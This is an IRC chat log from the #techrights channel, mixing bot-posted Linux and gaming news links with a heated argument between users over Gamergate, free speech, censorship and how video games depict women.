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-TechrightsBot-tr/#techrights-news.softpedia.com \| Manjaro 15.09 Now Has KDE Plasma 5.4.2 - Softpedia		Oct 08 09:57
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schestowitz	https://twitter.com/T_Miller_Harper/status/652121309095268352	Oct 08 10:05
-TechrightsBot-tr/#techrights-@T_Miller_Harper: The Saudi's get most upset at the merest hint of outside interference in their interior policies... https://t.co/Nobr2436Ru		Oct 08 10:05
-TechrightsBot-tr/#techrights-@schestowitz: More Saudi Barbaria http://t.co/nk4ZpC0KRX when will the RAF bomb for regime change there like it does in #syria ?		Oct 08 10:05
schestowitz	They also bribe the media, as Wikileaks showed	Oct 08 10:05
schestowitz	https://joindiaspora.com/posts/6680551	Oct 08 10:06
-TechrightsBot-tr/#techrights-Not a Diaspora post?		Oct 08 10:07
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*TweetTuxMachines @thirdtruck favourited '“in spite of Linux being a stretch goal...'		Oct 08 10:44
TweetTuxMachines	@tuxmachines “in spite of Linux being a stretch goal that	Oct 08 10:44
TweetTuxMachines	retweeted by wasn’t reached, the game got a day-one release	Oct 08 10:44
TweetTuxMachines	@thirdtruck for Linux yesterday.” https://t.co/uBVGOFlIzz	Oct 08 10:44
TweetTuxMachines	(www.gamingonlinux.com)	Oct 08 10:44
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-TechrightsBot-tr/#techrights-www.gamingonlinux.com \| Cyberpunk Adventure 'Read Only Memories' Released DRM Free And On Steam, Has Demo \| GamingOnLinux		Oct 08 10:44
msb_	A brief explanation of "Social Justice Warriors": A few years ago, some women noticed that the main roles of women in computer games were as rape victims, torture victims, beating victims, and murder victims. The women realized that these games were teaching -- programming -- young men to enjoy these attacks on women, and that some of the boys and men were being inspired to carry them out in real life. So the women objected publicly	Oct 08 10:46
msb_	to this situation. Some of the young men then published the addresses and phone numbers of the women and began harassing them. The men called this "doxxing" (documenting). The some of the men began making fraudulent calls to police, saying that violent crimes were occurring at the women's homes. The men called this "swatting". The whole affair is called Gamergate.	Oct 08 10:46
msb_	The men say that freedom of speech entitles game creators to make games that victimize women, and entitles game players to play and enjoy them.	Oct 08 10:48
MinceR	it has gotten totally out of hand since then	Oct 08 10:49
msb_	The problem is, that humans are programmable by speech and video, and they can be programmed into psychopath behaviors like rape, torture, and murder. Some speech has consequences -- yelling "fire" in a crowded theater -- so freedom of speech requires some limitations.	Oct 08 10:50
MinceR	ah, there's your agenda	Oct 08 10:50
MinceR	censorship in the name of political correctness	Oct 08 10:51
MinceR	because you don't realize that even if you bully people into using different words to speak, you won't change their minds	Oct 08 10:51
MinceR	if you want people to be more progressive, you need civilizing influences, not language police	Oct 08 10:52
MinceR	it's a gradual change that bullying can't do	Oct 08 10:52
msb_	The abusive language on the LKML is unnecessary, because code can be criticized (and rejected) without it. The abusive language is harmful, because when people read it they subconsciously imagine that it is being directed toward them, and that discourages them from participating in kernel programming.	Oct 08 10:52
MinceR	then go contribute to garrettix	Oct 08 10:52
MinceR	and systemd	Oct 08 10:53
MinceR	they value politeness over working designs and implementations	Oct 08 10:53
msb_	There MinceR has lied about me SEVEN TIMES1	Oct 08 10:53
MinceR	or use windows, since what is said in private wasn't really said	Oct 08 10:53
msb_	There MinceR has lied about me SEVEN TIMES!	Oct 08 10:53
msb_	MinceR: has lied about me EIGHT TIMES!	Oct 08 10:54
MinceR	go complain to the UN	Oct 08 10:54
MinceR	they're looking for every tidbit they can use to support global oppression	Oct 08 10:54
msb_	MinceR has lied about me NINE TIMES!	Oct 08 10:55
MinceR	that's some harsh cognitive dissonance right there	Oct 08 10:55
msb_	The term "political correctness" is used by different people to mean different things. I never use it. What I say is that speech and other media that clearly cause harm should not be emitted, with the choice preferably made by the speakers, who should realize exactly how that speech is harmful (by programming -- training -- people).	Oct 08 10:58
MinceR	good thing censorship isn't harmful	Oct 08 10:58
MinceR	oh wait	Oct 08 10:58
MinceR	i wonder, is there any fascist agenda msb_ won't support?	Oct 08 10:58
msb_	MinceR has lied about me TEN TIMES!	Oct 08 10:59
MinceR	ah, so there isn't	Oct 08 10:59
MinceR	good to know	Oct 08 10:59
msb_	MinceR has lied about me TWELVE TIMES!	Oct 08 10:59
TweetTuxMachines	@tuxmachines Links 8/10/2015: Manjaro Linux Releases,	Oct 08 11:00
TweetTuxMachines	Linksys WRT1900ACS, FOSS at NHS	Oct 08 11:00
TweetTuxMachines	http://t.co/T35JOsxyqu (techrights.org)	Oct 08 11:00
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-TechrightsBot-tr/#techrights-techrights.org \| Links 8/10/2015: Manjaro Linux Releases, Linksys WRT1900ACS, FOSS at NHS \| Techrights		Oct 08 11:00
TweetTuxMachines	@tuxmachines Embedded/Devices http://t.co/hbGsryV6b2	Oct 08 11:00
TweetTuxMachines	(www.tuxmachines.org)	Oct 08 11:00
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-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Embedded/Devices \| Tux Machines		Oct 08 11:00
TweetTuxMachines	@tuxmachines Leftovers: Gaming http://t.co/wpzTChWihk	Oct 08 11:00
TweetTuxMachines	(www.tuxmachines.org)	Oct 08 11:00
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-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Leftovers: Gaming \| Tux Machines		Oct 08 11:00
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msb_	Shouting "fire" in a crowded theater, making fraudulent calls to police to try to get them to harass and kill people, teaching children to hate and attack gay people, Jews, socialists, etc -- all of these actions are speech. All of them are very harmful. Does the ideal of Freedom of Speech protect them? Freedom of speech is designed to protect artistic expression, political exposition and advocacy, and the exposure of evil (harm)	Oct 08 11:06
msb_	that's being kept secret. It is not designed to protect programming people to be psychopaths.	Oct 08 11:06
MinceR	apparently now magical thinking overrides freedom of speech	Oct 08 11:08
MinceR	ahead into a Brave New World!	Oct 08 11:08
MinceR	i'm sure the High Priest will tell us what words and topics to avoid so that we don't "program people to be psychopaths"	Oct 08 11:08
msb_	It's a characteristic of the universe we live in that some good things can cause harm when taken to extremes. The good things should not be banned, but we should refrain from taking them to those extremes.	Oct 08 11:09
msb_	MinceR has lied about me FIFTEEN TIMES!	Oct 08 11:09
msb_	Noti	Oct 08 11:10
msb_	Nothing that I've said involves "magical thinking", only clear and accurate thinking.	Oct 08 11:10
MinceR	yeah, censoring people with the excuse that what they've said somehow "programs people to be psychopaths" is so clear	Oct 08 11:11
MinceR	maybe msb_ could pray to putin to receive by revelation a list of words we're allowed to use	Oct 08 11:12
MinceR	we could call it Newspeak	Oct 08 11:12
MinceR	and then we could finally avoid doubleplusungood crimethink	Oct 08 11:12
msb_	MinceR has lied about me NINETEEN TIMES!	Oct 08 11:12
msb_	Nothing that I've said involves Fascism (which MinceR still does not know the meaning of).	Oct 08 11:13
MinceR	msb_: here's a heads-up: 1984 is _not_ an instruction book.	Oct 08 11:13
msb_	MinceR has lied about me TWENTY TIMES!	Oct 08 11:14
msb_	When young boys spend hundreds of hours playing video games in which they rape, torture, and murder women, they get trained to accept these activities, and some get trained to enjoy them. And some of those go out and _do_ them.	Oct 08 11:16
MinceR	so you want to ban video games too	Oct 08 11:16
XRevan86	msb_: Statistics say that's not true.	Oct 08 11:16
msb_	No, I want to ban those types of depictions of women from video games.	Oct 08 11:17
XRevan86	people who play voilent games don't have a tendency you express violence in real world	Oct 08 11:18
msb_	MinceR has lied about me TWENTY-ONE TIMES!	Oct 08 11:18
MinceR	that's funny, if women are not depicted in such video games, the sjw-s attack the games for that reason	Oct 08 11:18
MinceR	so there's no way to please sjw-s, except by banning video games entirely	Oct 08 11:18
MinceR	msb_: do you want to ban bad language too? we could install Verbal Morality Statute Machines everywhere!	Oct 08 11:19
msb_	SJWs want women to be depicted in video games, but as participants, heroes, not as victims.	Oct 08 11:19
MinceR	ah, so men should be the victims and women should be the heroes	Oct 08 11:19
msb_	MinceR has lied about me TWENTY-TWO TIMES!	Oct 08 11:19
MinceR	that's not sexist at all, is it?	Oct 08 11:19
MinceR	and of course you'd enforce this by banning games that don't obey your ideology	Oct 08 11:20
msb_	No, the victims, if there have to be any, should be equally divided among men and women.	Oct 08 11:20
MinceR	but not the heroes.	Oct 08 11:20
msb_	MinceR has lied about me TWENTY-THREE TIMES!	Oct 08 11:21
msb_	The heroes should be equally divided too.	Oct 08 11:21
MinceR	do you really believe that subordinating men to women will solve the problem of inequality between sexes?	Oct 08 11:21
msb_	MinceR has lied about me TWENTY-FOUR TIMES!	Oct 08 11:22
MinceR	apparently this is what Totally Not Fascist msb_ believes...	Oct 08 11:22
msb_	I believe that men and women should have equal power and status, neither subordinate to the other.	Oct 08 11:22
msb_	MinceR has lied about me TWENTY-FIVE TIMES!	Oct 08 11:22
MinceR	your other declarations contradict that.	Oct 08 11:23
MinceR	but i guess you've grown accustomed to being logically inconsistent already.	Oct 08 11:23
msb_	MinceR has lied about me TWENTY-SEVEN TIMES!	Oct 08 11:23
msb_	XRevan86: Regardless of statistics, the fact is that some of the men involved in Gamergate made threatening phone calls to the women, and tried to get police to kill them. Those are violent acts.	Oct 08 11:24
MinceR	which proves that we need global, pervasive censorship, how?	Oct 08 11:25
msb_	It doesn't.	Oct 08 11:25
msb_	MinceR has lied about me TWENTY-EIGHT TIMES!